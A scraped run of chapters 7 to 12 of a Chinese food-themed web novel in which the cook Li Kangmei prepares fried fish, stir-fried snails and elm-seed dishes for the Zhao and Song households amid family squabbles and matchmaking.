也不知是李抗美的安慰起了作用，还是她说没有不要螺蛳起了作用，反正上一秒还掉眼泪的小孩哥，下一秒就破涕为笑了。 “你说的，要的，一桶螺蛳换一盘子炸小鱼，要和上午我吃到的一样，不是用猪油炸的，我不要！” 小孩哥精着呢！这是怕李抗美用普通的猫猫鱼糊弄他小孩。 “知道，知道！”李抗美把手中的帕子塞给小孩哥，“去给我洗洗，都是你的鼻涕。” 炸小鱼就要到手，小孩哥也不在意李抗美差遣自己，反正也是洗自己的鼻涕眼泪，没啥嫌弃的。 不过目光一直盯着李抗美，见她往岸边去了，又不由得着急，站起身来：“你去哪里！” “船上没油，没调料了，我去买些回来。”李抗美挥挥手，走了几步，又似想起什么，扭身给小孩哥又分派了一个任务：“帮我把这些螺蛳的屁股砸了，到时候炸小鱼多分你们两盘！” 李抗美怀里有两个大爷给的一串铜钱，大约二三百文，李抗美没细数，又去屠夫摊子上称了二斤肥肉。 屠夫上午才见过她，没想到下午她又来称猪肉了，还饶了根猪骨给她，不过上面的肉都剔得干干净净的。 当然，如果不剔干净，人家屠夫也不能给她。 “老板敞亮人，生意兴隆，财源广进啊！”李抗美白得一猪骨，自然是笑眯眯。 她与屠夫正说着话，满眼都是白得的猪骨，心里盘算着这猪骨能做个什么，自然是没有注意到后头两个穿公服的，个矮的冲着个高的挤眉弄眼。 “哎！四哥，又见着小嫂子了！” 这一高一矮两个穿公服的，自然就是宋彦和他那除了巡街万事不管的搭档何大川。 就和之前吃完午饭从家中出来，路过横桥见着李抗美拿帕子给小孩擦脸一般，宋彦就和没听到何大川说话一般，只当自己瞧不见李抗美，快步离开这块地，仿佛这有李抗美的地方，空气都被污染了一般。 何大川扭头看了一眼在猪肉摊前面和屠夫谈笑风生的李抗美，快步追上大步离开的宋彦，心想这宋家小嫂子，想和他四哥和和美美过日子，还有得磨呢！ 李抗美买完猪肉，又补充了各色调料，还有余钱，便去粮铺称了小半袋面粉。 两个大爷给的二三百文钱花了个干干净净。 回到船上，果然几个小孩已经把螺丝屁股都砸了，还洗得干干净净的，她那张手帕，也洗干净，系在树枝上吹风。 李抗美摸摸起先那掉金豆的小孩，也是这群孩子的头头。 “做得不错，等着，我给你们炸猫猫鱼去。” 在一群小孩的帮助之下，做活的速度快了几倍，拉鱼笼，收拾小鱼的活都有小孩帮忙做了，李抗美就负责灶上的那些活计。 轻车熟路又一篮子的猫猫猫鱼炸出来，除了原 7. 第 7 章 《炊烟渔火味正浓（美食）》全本免费阅读 赵大娘微微探头看着李抗美麻利洗鱼、片鱼，心中暗自点头：是个会做活的，能好好过日子的。 要是别的在她家养病的病人，她肯定要拦着人做活，但美娘不一样，这是要嫁到她小姑子嫁做媳妇的姑娘，她可不得给小姑子把把关，看看这是不是个好姑娘嘛！ 李抗美嘴上把自己厨艺夸得好，赵大娘也不拦着她做饭，心中自然也是有看看她这饭菜做得到底如何的想法。 鳜鱼洗净切片，撒盐、黄酒去腥腌味，再放入蛋清面糊上浆。 等待入味之时，调一碗咸蛋羹上锅蒸了，再把一把嫩菜细细切了，锅中放油，下菜丝，微微放点盐，让这菜有点咸滋味即可。 此时蛋羹也蒸好了，正好把炒好的菜丝盛出均匀盖在鸡蛋羹上。 锅中放水，小火煮沸，下入腌制好的鱼片汆熟，捞出放到菜丝中间。 最后调味勾个薄芡，浇在鱼片上，这道芙蓉菜羹鱼片就做好了。 鱼片做成菜了，这鱼头鱼骨也不浪费了，正好赵家买了豆腐，剩下这鱼头鱼骨，就被李抗美和豆腐一起烧了一道汤。 淡黄的鱼汤里头是颤颤巍巍摇晃着的豆腐，上头还点缀着碧绿的香葱，不闻味道，都知道这是一道让人食指大动的美味佳肴。 其余时令蔬菜对于李抗美来说更加不是个事，赵家两口大锅一齐开火，半个时辰不到，李抗美就整治出了八菜一汤。 赵家加上李抗美一共十五口人吃饭，十四个大人，一个小孩，尽够了。 赵阿婆，也就是宋大娘的亲娘，手底下两个儿媳妇，两个孙媳妇，又有三个及笄的孙女，家里活计自然是不用她亲自做了的。 她在老太太房里纳鞋底，出来见着厨房里掌厨的是大闺女家未过门的媳妇，家里两个儿媳妇、孙媳妇，都只在她手边打下手，心里正诧异，赵大娘见着婆婆出来，忙把人拦下，在她耳边悄悄说了一通。 赵阿婆脸上露出笑，看向厨房的眼神也尽是满意，没多说什么，又回了老太太屋里头。 赵大夫、小赵大夫，也就是宋大娘的父亲和兄长，是一前一后被后院的饭菜香味催着回来的。 小赵大夫虽然被人称个“小”，但是今年也已经四十出头了，早不是那毛毛躁躁的小伙子了，但今日闻到家中不同寻常的饭菜香味，仍是忍不住问了一嘴：“做了什么好菜，香得前面铺子都闻到了！” 他没说，他和爹今日还早了两刻回后院，就是因为这饭菜味道太香，勾得病人也肚子咕咕，病也不看了，先找地方吃饭去了。 赵大娘把丈夫拉到一边：“你这鼻子倒灵得很，隔那么远都能闻着味！做舅舅的先享福，今个是你外甥媳妇的好手艺！” 小赵大夫才洗完手，就被妻子拉到旁边说话，见着餐桌上放了一盘不知什么做的面点，肚子正饿，那嘴巴也被饭菜香气勾得流口水，就捻了一根放进嘴里，想着垫吧垫吧。 谁想那小条的面点一入嘴，他眼睛就亮了。 “这里头是鱼？”小赵大夫吃的正是后头李抗美挂了面糊炸的猫猫鱼，虽然有些冷了，但送入嘴中依旧满口酥香。 小赵大夫一条一条送进嘴里，都顾不上用筷子，一口气吃爽了，还挨了赵大娘一句“要死，你个野人，都做爷爷了，还一点规矩都没有！”这才意犹未尽停下。 “上哪买的？这下酒不错啊！” “什么那买的，这也是你外甥那未过门的媳妇孝敬的，你和老太真不愧是亲爷孙，老太那边也是一吃就爱上了，也说是下酒吃最好！”说着，赵大娘心头悄悄翻了个白眼，这老太哪里是没胃口，就是馋酒了！ 美娘做的那小鱼端上，再给她温了一壶老酒，老太太一口炸鱼，一口酒，别提吃得多欢了，哪里像没有胃口的模样！ 见着小赵大夫还对着桌上的炸小鱼蠢蠢欲动，赵大娘拍了一下丈夫的手：“别吃了，这盘子都是老太从牙缝里抠出来给你爷俩吃的，爹还没吃着呢，都教你吃了，爹就吃不着了！” 赵大娘左想右想，还是把这炸小鱼收了起来。 “哎哎！不吃就不吃嘛！你收起来干嘛！”小赵大夫追在媳妇屁股后头喊。 赵大娘白他一眼：“藏着给你和爹下酒，放在桌上，就是道菜，待会你儿子一口，你侄子一口，你们爷俩喝酒就数花生米吧！我可不给你另做下酒菜！” 小赵大夫听了媳妇话，心想是这个道理。 赵老太八十八的高龄，行动也迟缓，自个也不怎么爱走路了，吃饭都是儿媳妇给她端到屋里头，她自个一个人吃的。 知道她爱吃鱼，所以芙蓉菜羹鱼片上的鱼片，大半都舀给了她，再一碗豆腐鱼汤，各色时令蔬菜都夹了一筷子。 就这，老太太年纪大了，还不一定都吃完呢！ 李抗美这一桌菜获得了赵家人的一致好评，就连对她有意见的赵家姐妹几个，也说不出挑剔的话来，送进老太太屋里的饭菜，更是被吃得干干净净。 赵外婆朝着李抗美招招手：“美娘，老太找你说话！” 李抗美近前去，赵外婆就拉住她的一双手，左看右看：“这双手怎么就生得那么巧，做出来的饭菜，我瞧比那做席面的师傅做的都要好吃！” 听见这话的李抗美心想：可不是，她这手艺传承自她爷爷，当初一般的席面都请不动他老人家，大席找她哥，小席找她爹！ 这大席小席可不是指的席面高低，大席是指红白喜事，那种吃饭人多的，而这里的小席，就是家里请客吃饭一二桌的席面。 李抗美小时候还允许买卖的时候，没少跟着父兄蹭席面，要不是局势变化得快，李抗美下乡了，那后来做大席接手的就是李抗美了。 榕树巷巷尾宋家，宋大娘家的晚饭也是一锅鱼汤。 平常最爱吃鱼的宋木匠，宋大爷，吃着家里婆娘的老手艺，却怎么都觉得不是那个滋味。 “怎么了？鱼刺卡着喉咙了？”宋大娘瞧着丈夫一副食不下咽的模样，少不得开口关心几句。 “我吃着这鱼滋味不对。”宋木匠咂咂嘴。 “怎么不对了？”宋大娘忙夹了一块鱼肉送进嘴里，“新鲜的鱼，你和亲家今天 8. 第 8 章 《炊烟渔火味正浓（美食）》全本免费阅读 砸掉屁股的螺丝在清水里养了一日，也把肚子里的杂质吐得干干净净了，转日来炒正好合适。 炒螺蛳也是一道下酒的好菜，李抗美心里有了计较，也不着急去渔船那儿收拾这些螺蛳。 早上跟着赵家姐妹出去买菜，因着昨日那一桌好菜，赵三姐对她都和气多了，早上李抗美出来倒洗脸水的时候，还主动和李抗美打招呼，邀她一起出来买菜。 赵四妹年纪小些，气性也大些，虽然吃人嘴软，却仍旧别扭着不愿给李抗美个好脸。 听着三姐邀人买菜，她早上还在屋内摔摔打打了一番，故意闹出动静给院子里的人听，当然也就只敢摔摔帕子，打打被子，别的是不敢的。 赵三姐听见堂妹这动静，面色不变，还是对着李抗美笑眯眯：“不用理她，故意做给我看的，闹小孩子脾气呢！” 赵四妹还是小孩子性情，玩你和她好，我就不和你好了的这一套，赵三姐却是快出嫁的闺女，知道把实惠捏在自己手里才是最重要的。 李美娘做菜的手艺那么好，和她打好关系，学个一招半式的，去到婆家，婆家都高看你一眼。 李抗美不是个蠢人，哪里看不出来赵三姐的心眼，不过她愿意交好赵家姐妹，所以也不戳穿赵三姐的小心思。 她李家的秘方只传后人和弟子，但那些家常菜却是不介意教点出去的。 阳春三月，天气依旧寒冷，但能吃的蔬菜可比冬日里多多了。 芥菜、萝卜、马头兰、香椿，不得不提的就是榆钱了。 赵家后院就有一棵榆钱树，挂到院墙外面的一半已经被摘空了，赵家人想拦都拦不住，那些来偷摘榆钱的都是小孩，瞧着那些穿着破衣烂衫，鼻子下还挂着清鼻涕的孩子，一个个瘦骨嶙峋的，赵家人怎么骂得出口。 哎，他家日子好过一些，舍半树榆钱出去也不算什么，只是担心那些孩子扒围墙，爬树摔着了。 昨天晚上就有一道榆钱菜，李抗美做得简单，就是普通的榆钱炒蛋，赵家人也会，就是不知为何明明是一样的步骤，李抗美手里炒出来的，就格外的鲜嫩。 早上李抗美和赵三姐买菜回来，赵大娘几个正好在做早饭。 李抗美看桌上放着一篮子已经洗干净的榆钱，还有七八个鸡蛋，就知道这又是要做榆钱炒蛋下粥了。 赵家二姐正要敲鸡蛋进碗里，旁边赵四妹旁光见着李抗美和她三姐先后进来了，张嘴就嚷嚷：“二姐，敲六个就够了，以前我们都只放六个蛋的！某人来了之后，我们家这蛋都下去得特别快！原本就只有六只母鸡下蛋，为某人还杀了一只，现在每天鸡蛋攒都攒不住，爷爷不是说了，每天都要给小弟留个水煮蛋带去学堂吃的嘛！就这样下去，别说小弟有没有鸡蛋带，怕是我们早上都吃不着蛋了！” 赵大娘听着赵四妹张口说这些，本来已经有些不痛快了，不过彼时她在灶台前搅粥，手伸不了那么长教训她，就打算私下同妯娌说说，治治赵四妹这张嘴。 但她抬眼就见着自家女儿和李家娘子一前一后进来，谁都知道赵四妹嘴里说的“某人”是谁，扯老婆舌扯到当事人面前了，赵大娘心里一下就火大了起来。 见着赵四妹还要去拿桌上的鸡蛋，她手上的汤勺一下就砸到了赵四妹手上：“我还活着呢！这家轮不着你当家做主！” 赵大娘虽然不是赵四妹亲娘，但赵大舅和赵小舅没有分家，她又是当家主母，所以她这个做伯娘的也是有权利管教侄女的，刚才没第一时间管，是想着女娃大了，给留点面子，要她亲娘私下去教她，但抬眼就看到李抗美进来，四侄女那嗓门，李抗美又已经在门口，绝对不可能没有听到，不仅是为了面子，还是做给李抗美看，赵四妹这下打都挨定了。 赵四妹手背一痛：“大伯娘，你干什么打我！” 赵四妹还要嚷嚷，那边赵二姐已经接受到亲娘的眼神，把堂妹拉回屋里去了。 屋外还有赵四妹吵吵闹闹的声音，赵大娘却把厨房门一关，翻脸比翻书还快，拉着李抗美的手，一脸和蔼：“美娘来了？别听你四妹妹胡咧咧，她就是个不懂事的，那天杀的母鸡也是不下蛋了的，也是托你的福，要不老太还舍不得杀嘞，那些鸡都是她从小带到大的……” 要不是李抗美入了宋大娘还有赵家这些长辈的眼，赵大娘也懒得和李抗美解释这些。 李抗美知道赵大娘是在安慰自己，不过赵四妹的话，她也确实入耳了。 “家里鸡蛋不够吃了？” 听到李抗美这么问，赵大娘忙挥手：“你别听你四妹妹胡咧咧，她就是个好吃护食的，给分个饼子都要怕自己分到的比几个姐妹的小。” 赵大娘不给赵四妹的性子做遮掩，她觉得李抗美要做小姑子的儿媳妇了，那就是自家人，自家人有什么好遮掩的，反正等李抗美过门了，迟早要知道赵四妹是个什么性子。 李抗美病好了之后，也是在厨房打过几天下手的，知道厨房放吃食的地方，她看碗里已经打了三个鸡蛋了，又打了一个下去，然后把剩下的鸡蛋放了起来。 赵大娘正要拦，就听李抗美道：“大娘，日日吃榆钱鸡蛋也腻歪，要不我们换个新鲜花样？” 经过昨晚上那一道，赵大娘也知道李抗美手艺好，见她打算接过做早饭的任务，便也不拦着了。 “那我又有口福喽！” 李抗美要做的是榆钱蛋饼，做法也不难，鸡蛋、榆钱、适量面粉，再放一撮盐，搅和在一起，锅里倒点油，热了之后一勺榆钱鸡蛋糊倒进去，煎到一面金黄的时候，翻过来再煎另一面就好了。 赵大娘也是做了一二十年厨房里的活计的，看李抗美煎了几个，她也会了，就把这活接了过来。 李家娘子在她家是养病，是做客，哪能真叫她和个丫鬟似的，一直给她这一大家子人做饭啊！ 哦！昨天是个 9. 第 9 章 《炊烟渔火味正浓（美食）》全本免费阅读 要说高汤，扔一整只鸡进去炖出来的才好，但李抗美上辈子都没有这么奢侈过，这辈子两袖清风，还寄人篱下呢，自然是不敢这么奢侈的。 不过猪骨都拿来了，不煮了就浪费，不管是做汤还是下面都是极好的。 榆钱就只能吃这几天，过了这几天就老了，不好吃了，所以现在赵家人，除了在铺子里看诊的老赵大夫、小赵大夫，还有在药房里炮制药材的赵大哥、赵二哥，就连赵老太都从屋里出来了。 虽然已经是五代同堂，但古人结婚生子早，赵老太其实也才不过七十多岁，大约是家里上下都是大夫，赵老太身体也还不错，要不当初也不能自己走到李抗美病榻前，把自个的“嫁妆”塞给曾外孙媳妇。 不过赵老太说是帮忙，更应该说是从屋子里出来看热闹，毕竟都七十快八十的老太太了，能做多少活？ 半树榆钱说多不多，但赵家上上下下，十几口人呢！ 赵大娘没要李抗美帮着一起摘榆钱、洗榆钱，她说：“你才大病初愈，爬树受风，我也怕你摔着了，洗榆钱水也冷，我怕你冻着了，就在旁边歇着吧。” 要是在自己家里，李抗美那屁股倒也在凳子上坐得住，但她现在寄人篱下，赵家人对她好是一回事，她自己有没有眼色又是另一回事了。 不过她自己也怕受风受冻，才大病初愈又病回去了，就在旁边和陈氏还有赵三姐一起摘摘榆钱上的硬梗。 赵大娘在树下接榆钱，没注意到她，倒是赵阿婆一眼就看到李抗美主动做活，心中暗自点头，唇角勾了勾，面上露出一个笑容。 当初四郎那婚事定下来的时候，她闺女还过来与她埋怨过一场，娶进门这么一个媳妇，不是娶进一个搅家精吗？ 当初闺女把人带回来，她还暗骂她心软，可如今相处的时间久了，反倒觉着这是歪打正着，找了一个好媳妇回来了。 “美娘，美娘！” 李抗美正在回答赵三姐的一些问题，就听到旁边赵阿婆正高声喊她。 “怎么了，阿婆？”李抗美两手在系在腰间的围裙上擦了擦，起身到赵阿婆身前。 赵阿婆拉起她的手，捏在自己的手心，拍了两下：“好美娘，别见外，同彦哥儿一样叫外婆就好。” 李抗美也不扭捏，大大方方喊了声外婆，赵阿婆更是眉开眼笑。 她从窗台下拎了一个篮子过来，往里头塞了满满一篮子的榆钱，把篮子放到李抗美手里：“外婆老了，腿脚没你们年轻人便利，差你跑个腿，帮外婆把这榆钱送到你宋大娘家里。” 李抗美还没和宋彦正式成亲，赵阿婆心里也有分寸，李家娘子能叫她一声外婆，却不好叫她闺女一声娘。 李抗美循着记忆，一路到了宋家，榕树巷巷尾第一家，李抗美这才反应过来自己昨天听到那小胡子大爷说自家地址的时候为什么会觉得耳熟了。 那小胡子大爷，竟然就是宋大娘的丈夫，宋家兄弟的亲爹！ 虽然已经知道小胡子大爷的身份，李抗美也没有多别扭，抬手敲了敲宋家的门，片刻工夫，里头传来宋大娘的声音“谁啊！”，还有愈行愈近的脚步声。 “宋大娘，是我，李美娘。” 李抗美报上姓名之后，那大门立刻就打开了。 “你怎么来了？病好全没？大娘昨日上门没见着你，你赵大娘说你有事出去了。”宋大娘此时已对李抗美颇有好感，所以这会儿见到李抗美上门来，十分热情。 “赵阿婆让我来跑腿，送个榆钱。”李抗美把篮子提给宋大娘看，至于昨日出门的事情，她没给自己邀功，说自己出去是为了给赵老太找鱼吃，只说好长时间没回渔船了，渔船里的东西也要收拾收拾。 “回渔船？”宋大娘却误会李抗美想要回渔船住，她接过李抗美手里的篮子，把人往屋里拉，“往里边走，别站在门口吹风，屋里坐坐，和大娘说会儿体己话。” 把人安排在炕上，怕她喝不惯家里的姜茶，还额外给冲了红糖。 “你大爷这两天老是出去钓鱼，家里常备着姜茶，你也喝点，对身体好。” 人家对自己的好意，李抗美不是不识好歹之人，自然不会拒绝，略微有些烫口的姜茶入口，还有丝丝的甜味。 李抗美是做厨子的，她那舌头多灵啊！一下就尝出这姜茶里冲了红糖，看着宋大娘温柔瞧着自己的眼神，李抗美鼻腔微酸。 她是幺儿，爹妈岁数大，她下乡没几年父母就相继去世了，几个哥哥娶了嫂子，那就是两家人了，她已经很久没有感受过这般好似母亲一般的关心了。 宋大娘坐在李抗美旁边，两人中间就只隔了一张炕桌，看着李抗美喝口姜茶，还能把自己的眼睛喝红了，心下猜测她是不是受了什么委屈，声音放得轻柔：“美娘，怎么了？可是受了委屈？” 要不怎么突然说要回渔船呢？之前这孩子在病中的时候，她就已经和她说好了，让她就在赵家住到出嫁为止。 她一个孤女，父母都不在了，一个人住在渔船上，生活有诸多不便。 赵家那边她也和爹娘 10. 第 10 章 《炊烟渔火味正浓（美食）》全本免费阅读 李抗美自己一个人半个时辰的时间自然是处理不好这一整桶的猫猫鱼的，但是她有一支十几个人的小孩军团啊！ 渔船里还剩了一点猪油和调料，李抗美十几分钟的功夫炒了一锅酱爆螺蛳，十几个小孩一人分一盘都还有余。 以酱爆螺蛳为报酬，常年在河岸疯玩的渔家孩子们，一个个为美味折腰，全成了李抗美的小帮手。 小小的手处理起那些比成人手指都还要小的猫猫鱼，别提有多麻利了。 李抗美提着处理好的猫猫鱼还有剩下半桶螺蛳走的时候，一帮孩子还依依不舍的呢。 “美娘姐姐，我们还给你捡螺蛳，砸螺蛳屁股，洗猫猫鱼，下回还能和你换好吃的嘛？油炸猫猫鱼也可以，你今天做的这个炒螺蛳也可以。” 瞧着一个个孩子期待的眼神，李抗美自是没有不应的。 她点头的同时，孩子们便是一阵欢呼，引得横桥上的路人都是一阵侧目。 某穿公服巡街到此的路人：不是说在赵家养病吗？这一日日往码头跑，怕自己病好得太快？ 和某人一同巡街的何大川：“哎！四哥，是小嫂子，又和小孩子一起玩呢！” 宋彦扫了一眼小嫂子个没完的何大川，而何大川浑然不觉，还在一旁喋喋不休：“瞧小嫂子这样，倒是个喜欢孩子的，那群孩子也喜欢她，一个个都围着她，你说小嫂子都不烦吗？我回家看到泥猴一样的几个弟弟只想躲着……” 何大川说话的时候，李抗美正好在摸一个小孩的脑袋，里头有个孩子脑袋上的冲天辫松松垮垮，她还顺手给人家绑了回去，看在何大川眼里，愈发觉得他这小嫂子未来会是个贤妻良母。 再抬眼看旁边他四哥，脸色已经黑了两度。 宋彦睨他一眼，嘴上没有说话，何大川却已经知道他这是生气的迹象，连忙闭嘴。 不过心里却不服气：生得漂亮，瞧着还温柔贤惠的媳妇，他想要都没有，就他四哥毛病多，还嫌弃上了！小娘子爱慕他四哥英雄伟岸，使点小手段又无伤大雅，跟何况他四哥又没相好的姑娘…… 心念至此，何大川突然灵光一闪，快步追上已经大步走远的宋彦，凑到他耳边，悄声问：“四哥，你这是有相好的姑娘了？这才嫌弃小嫂子？” 宋彦瞪了何大川一眼，懒得搭理他这不着调的。 何大川得了他这含怒地一瞪，愈发觉得自己的猜测是对的，不敢再说话了，心里却想：他四哥有相好的姑娘了，怎么不早说，早说那天就让他去救小嫂子了！ 横桥上路过的两人并没有引起河岸上李抗美的主意，她还着急收拾好猫猫鱼，回去给宋大娘做下酒菜呢。 除了猫猫鱼之外，这炒螺蛳也是一道下酒的好菜。 在河边处理了猫猫鱼，加上来去的时间，回到宋家的时候，正好半个时辰。 宋大娘在家里已经把榆钱清洗干净，按照李抗美教的，上锅蒸成了榆钱团子，还用油炸了一锅榆钱团子，分了一半给对门的亲家，新鲜的榆钱也送了一把过去。 李抗美回来的时候，宋大娘也刚好从对门回来，正好接到提着两个水桶回来的李抗美。 “怎么拿了这么多回来！”宋大娘忙要去接李抗美手里的水桶，李抗美提了一路，也有点疲惫，没多少力气和宋大娘推拉了，就推了一步，把半桶的螺蛳让给了宋大娘，宋大娘再要去接她那满桶的猫猫鱼的时候，她就不肯了。 “昨天下了四个鱼笼，放在船那边也要臭了浪费了。” “这都是你自己一个人弄的？早知道我也跟着你一起去了！” 水桶放下，宋大娘看里头的猫猫鱼，都是处理好，洗得干干净净的。 “不是。”李抗美擦了擦疾行一路，脑门上流下的汗水，“那边有一群在河边玩的小孩，都是附近渔家的孩子，他们帮着我一起弄的，这些螺蛳也是他们捡的，我分了点吃食给他们。” 宋大娘听到这么多东西不是李抗美自己一个人弄的，心里才略放心。 这孩子病才好，要是这么不顾身体的劳累，非要落下病根不可。 “这螺蛳怎么吃啊！”宋大娘吃过李抗美之前炸出来榆钱丸子，知道这孩子大约是有点厨艺的本事在身上的，不过看到水桶里的螺蛳还是微微皱眉。 这玩意没有什么肉，煮出来还都是土腥味。 李抗美还是有点察颜观色的本事的，抬眼瞧着宋大娘的面色，就知道她心中担心什么。 从水桶中捞了一把螺蛳给宋大娘看：“这螺蛳洗的干干净净，又放了一个晚上，泥沙都吐干净了，屁股也砸掉了，吃着方便得很，一嗦里头螺肉就出来了，让我来料理一下，香香辣辣，最适合下酒！” 宋大娘也和李抗美相处有一段时间了，知道她不是个会撒谎的人，便点点头：“好，你放手去做。”就算做得不好吃，最多也就废点调料，那螺蛳都是小孩从河里捞来的，没有什么成本。 螺蛳先不着急做，先把一桶猫猫鱼料理了。 李抗美心里把宋大娘当亲人，料理这猫猫鱼的时候也没有避着她，还细细教导每一步的步骤，反正也就是一道家常的下酒菜，对李抗美来说没有什么技术含量。 和昨天一样，李抗美做了一些原味的用来泡椒油，还做了一些挂面糊的，用油炸得金黄酥脆。 香酥炸鱼昨个宋大娘没有吃到，但是椒油泡鱼，她是尝过味道的，现在李抗美新鲜做出来，她尝了一口，除了味道稍微比昨日当家的带回来的淡一些，其他好似都一模一样。 李抗美道：“这挂面糊炸的直接吃就可以了，这泡椒油的，要多泡些时间才能入味。” 听 11. 第 11 章 《炊烟渔火味正浓（美食）》全本免费阅读 舀了一勺炸鱼剩下的猪油进锅里，早就备好的葱姜蒜辣椒扔进油锅爆香，再放入洗净沥干水分的螺蛳旺火爆炒。 锅铲与螺蛳接触时，哗啦响声。 宋大娘坐在灶台后面给李抗美烧火，红红的火光映照在她脸上，而她眼睛里映照的却只有灶台前，烟雾缭绕中的李抗美。 她和美娘接触的时间久了，就知道这孩子压根不是儿子口中说的那样。 而现在瞧着正在炒螺蛳的李抗美，明明额头还有细密的汗水，应该是狼狈的，但宋大娘却怎么看怎么喜欢。 她觉得美娘这丫头身上有股精气神，特别是站在灶台前炒菜的时候！ 锅铲翻炒螺蛳，瞅着锅中陆续有螺蛳盖子脱落，放一勺料酒，两勺酱油，适量盐，再撒一撮红糖，继续翻炒片刻即可出锅。 李抗美做的时候嘴上还附带讲解，爆炒螺蛳也不难，所以宋大娘这次虽然没有在灶台前看着，但听着李抗美的讲解，也把这道菜学得七七八八了。 螺蛳出锅，李抗美立即对着宋大娘道：“大娘，来尝尝我这螺蛳做得怎么样！”当然也在宋大娘吃之前，提醒她小心烫口。 宋大娘吹了吹螺蛳，然后学着李抗美的样子，把螺肉往嘴里一吸，那裹着咸鲜酱汁的螺肉立即落入舌尖，经过爆炒的螺蛳，螺肉鲜嫩弹牙，没有一丝想象中的土腥味，反而是带着微辣的鲜香肥美！ 宋大娘吃得眼睛发亮，一颗小小的螺蛳哪里够她撒牙缝啊！ 又夹了一颗，送到嘴边——一连吃了好几颗才停下嘴来！ “我小时候也摸过螺蛳吃，做得可没有美娘你做得好吃，还一吃一口籽……”宋大娘感叹，“你的手艺怎么这么好啊！” 李抗美笑眯眯，谦虚了一下：“这就是道家常菜，不知道大娘你有没有听过一句话，明前螺蛳赛肥鹅。” “怎么说？”宋大娘也是第一次听到这个说法。 怎么螺蛳还能比过肥鹅去，一个是田间地头不值钱的玩意，另外一个可是正经的肉，许多老百姓过年都不舍得杀一只的金贵畜生。 毕竟一只肥鹅留在家里能下蛋卖钱，还能看家护院。 “因为清明前是螺蛳最好吃的时候，这个时候的螺蛳还没生子，肉质肥嫩，口感最好，味道比肥鹅还要鲜美，还比肥鹅便宜易得，在喜欢吃的眼里，当然是要赛过肥鹅的！”想到宋大娘说的小时候吃的一口一个籽，李抗美再次说了一下螺蛳的繁殖习性：“大娘你小时候吃到籽，一定是清明过后，螺蛳虽然一年四季都有，但是过了清明之后，螺蛳就要生小螺蛳，肚子里怀籽了，那口感肯定是比不上清明节前的螺蛳。” “原来是这样……”宋大娘也是第一次听说。 李抗美是没打算留在宋家吃午饭的，她炒完一盘螺蛳，瞧着时间也差不多了，要是再不回去，赵家人要担心了。 就解下了身上穿的围裙，同宋大娘告辞。 宋大娘米都打量上她的份，蒸到锅上了，哪能这个时候让李抗美走啊！ 光让干活，不留人吃饭，压根不是宋大娘的风格。 “娘呀！你干嘛呢！”宋驰就是这个时候揪着妹妹宋小月的衣领子进门来的，他还带了他哥的口信，上午他和何大川解决了一桩刁民闹饭馆的事情，要不是他俩去得及时，差点就弄出人命来了，那饭馆老板非要留他们吃午饭，盛情难却，所以他中午就不回家吃饭了，叫宋驰回家带个口信。 “嘿！这四郎！米都下下去了，也不早点说！”宋大娘啧了一声，少了宋彦那个饭桶，多出来的米都够她吃两顿的了！ 这下愈发觉得不能放李抗美走了，还拉援手：“七郎，小月，带你们美娘姐姐去屋里坐着，娘去做饭，可别让你美娘姐姐走了！” 宋小月其实是第一次见到李抗美，之前李美娘来榕树巷这边闹事的时候，她都被家里人拘在院子里，一次都没和这个靠骗赖上她哥的女人碰着面过。 宋驰虽有点无法无天的架势，但他娘张口说话还是管用的，叫宋小月抱住李抗美，他自己则是张着手玩老鹰抓小鸡似的堵在李抗美身前。 “李家娘子，屋里请吧！”这小子在街头混惯了，这会儿说话一股子地痞流氓的味道。 宋大娘哪里听得惯这副腔调，立即就上手了，一巴掌拍在小儿子后背上，顺手就拎起他的耳朵往后一拧：“哪里学来的，好好良民不做，要去做流氓！” “哎哎！娘，我错了，我错了，我好好说话！”宋驰跟着踮脚，护住自己的耳朵。 宋大娘这才放宋驰一马，当然不是因为宋驰认错认得及时，而是因为她瞥眼瞧见李抗美手足无措的表情。 任谁在别人家做客的时候，撞见主家教训孩子的场面，都会尴尬。 宋驰是个脸厚的，揉揉耳朵皮，就不当回事了，再笑嘻嘻瞧着李抗美：“李家姐姐，我娘请吃中饭，你就留下吧！不留下，我这办事不力的，耳朵皮又要遭殃了！” 李抗美为难：“来时和你外婆他们说好了，回去吃饭，要是不回去，他们会担心的……” 宋驰：“嘿！这有什么！外婆家过来才多少路，我过去跑个腿，和外婆说一下就是了。” 李抗美见他抬腿就要往外走，抬手把人拦了一拦：“先等等。” “怎么？”宋驰回身。 “我还是不能留下来吃饭，老太还等着我回去做饭呢！老太这两日不是胃口不好吗？昨个就点名说中午还想吃我做的鱼，中午要杀的就是昨日宋大娘送过去的那条鱼，我要是不回去，中午这条鱼就没人做了。” “这……”宋驰和宋小月同时扭头看他们娘。 宋大娘就在 12. 第 12 章 《炊烟渔火味正浓（美食）》全本免费阅读 李抗美脚步轻快回了赵家，前头有宋驰给她拎了大部分的东西，她手上就拿了点轻巧的东西。 “外婆，大舅母，二舅母！”宋驰对赵家也是熟门熟路，推门进来就叫人。 赵阿婆对这小外孙也是疼爱得紧，见着他手上拎了一堆东西，忙迎过去接下来。 “就送一把榆钱过去，你娘怎么还这么客气，拿这么多东西过来！”说话的是赵大娘。 赵阿婆作为宋大娘的亲娘，拿这些东西是理所当然的，女儿对娘家长辈的孝敬吗？但她这个做嫂子，做舅母的，多少嘴上都要说几句客气话。 宋驰从小嘴皮子就是个活络的，漂亮话说了一堆，把院子里几个长辈都哄得眉开眼笑。 李抗美稍晚一步进门，见着赵家几个女性长辈都围着宋驰说话，也没有多打扰，和几人打了声招呼，就跟在赵家小舅妈刘氏的身后把手里的东西提进厨房去。 才进厨房的门，院子里就传来一声不轻不重摔东西的声音。 是赵四妹把手上擦手的布巾扔到了木盆上。 早上李抗美前脚出去，刘氏就心疼女儿，同婆婆还有嫂子说了好话，把赵四妹一起叫出来干活了。 刚才李抗美就和几个长辈打了招呼，赵家姐妹几个在水井那边洗东西，旁边还有榆钱树遮着，李抗美还真没瞧见几人。 赵四妹阴阳怪气：“我们在这里又是搓又是洗，一双手泡在水里和萝卜一样，不像有些大小姐，是贵客，一出去就是一上午，回来就等着吃现成的！” 李抗美此时和刘氏一起进了厨房，刘氏正是赵四妹的亲娘，听着闺女在外面指桑骂槐，看着李抗美脸上红了红，觉着对不起李抗美，心里又着急自家女儿说错话，待会儿又要挨婆婆和大嫂的教训。 屋外赵阿婆还有赵大娘两个眉头立刻皱了起来，只不过因为刚刚宋驰和李抗美进来的时候，手里提满了东西，院门没来得及关，两人怕此时教训赵四妹，声音传出去叫人听到，坏了名声。 教训的事暂且按下不说，待小外孙走了，自家关上门再好好说这事。 